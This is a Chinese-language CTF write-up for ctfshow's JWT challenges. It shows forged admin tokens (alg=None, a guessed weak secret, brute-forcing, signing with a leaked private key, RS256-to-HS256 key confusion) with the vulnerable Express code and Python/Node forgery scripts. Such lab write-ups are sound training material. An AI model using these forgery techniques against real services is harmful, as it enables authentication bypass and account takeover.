0%

ctfshow-jwt

基本原理

jwt一共有三部分

  • header
  • payload
  • signature
1
2
3
4
5
6
7
8
9
10
11
12
13
14
header
{
'typ': 'JWT',
'alg': 'HS256' // 加密算法
}

payload
{
"sub": "1234567890",
"name": "John Doe"
}

signature
由前面两部分base64加密后用.连接并进行header中声明的方式去加密

jwt就是上面三个通过.进行连接
jwt解密网站
https://jwt.io/

web345

通过base64解码得到的cookie
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NzAxODc4NTEsImV4cCI6MTY3MDE5NTA1MSwibmJmIjoxNjcwMTg3ODUxLCJzdWIiOiJ1c2VyIiwianRpIjoiOTVhZDIwMzA1NTY2NmE2ZDBhZjBiY2M2NDc5OTMwYmIifV0
得到
{"alg":"None","typ":"jwt"}[{"iss":"admin","iat":1670187851,"exp":1670195051,"nbf":1670187851,"sub":"user","jti":"95ad203055666a6d0af0bcc6479930bb"}]
将user改成admin以后在进行加密
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0AW3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NzAxODc4NTEsImV4cCI6MTY3MDE5NTA1MSwibmJmIjoxNjcwMTg3ODUxLCJzdWIiOiJhZG1pbiIsImp0aSI6Ijk1YWQyMDMwNTU2NjZhNmQwYWYwYmNjNjQ3OTkzMGJiIn1d
并用此cookie去访问/admin,就行了

web346

通过 https://jwt.io/ 进行解密
修改为admin后,猜测密钥是123456,并重新加密

web347

与web346相同,密钥也相同

web348

通过脚本爆破
https://github.com/brendan-rius/c-jwt-cracker

we349

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//public/public.key'); // get public key
jwt.verify(auth, cert, function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin');
}
});
});

由get的路由,可以知道通过private.key对jwt进行加密
我们访问/private.key,拿到私钥
通过python进行加密

1
2
3
4
5
6
# pip install pyjwt
import jwt
public = open('private.key', 'r').read()
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))
# eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.NoE2xAUmDyHc0rhNtNtUn8URhEZeFGy9M0hd7hBEfRD3jpGqetn0nj2Tm9mob9LWyl2BazTLm_1Ez1vn0A6ZxgcpF73B6_rE4zrDvyu3b6eH3FtwmKd9I6N0KzkO1IpTggRVy6l4RoQCoG4JJ6X9YVJgOWtm0vgWzcjjXejlEsM

web250

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//routes/private.key');
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });

res.cookie('auth',token);
res.end('where is flag?');

});

router.post('/',function(req,res,next){
var flag="flag_here";
res.type('html');
var auth = req.cookies.auth;
var cert = fs.readFileSync(process.cwd()+'//routes/public.key'); // get public key
jwt.verify(auth, cert,function(err, decoded) {
if(decoded.user==='admin'){
res.end(flag);
}else{
res.end('you are not admin'+err);
}
});
});

这里只能获取到public.key,这时候可以更改RS256为HS256,在后端进行校验的时候就会使用HS256进行验证,且我们知道密钥为public.key
利用nodejs进行加密,保证版本相同

1
2
3
4
5
const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

参考链接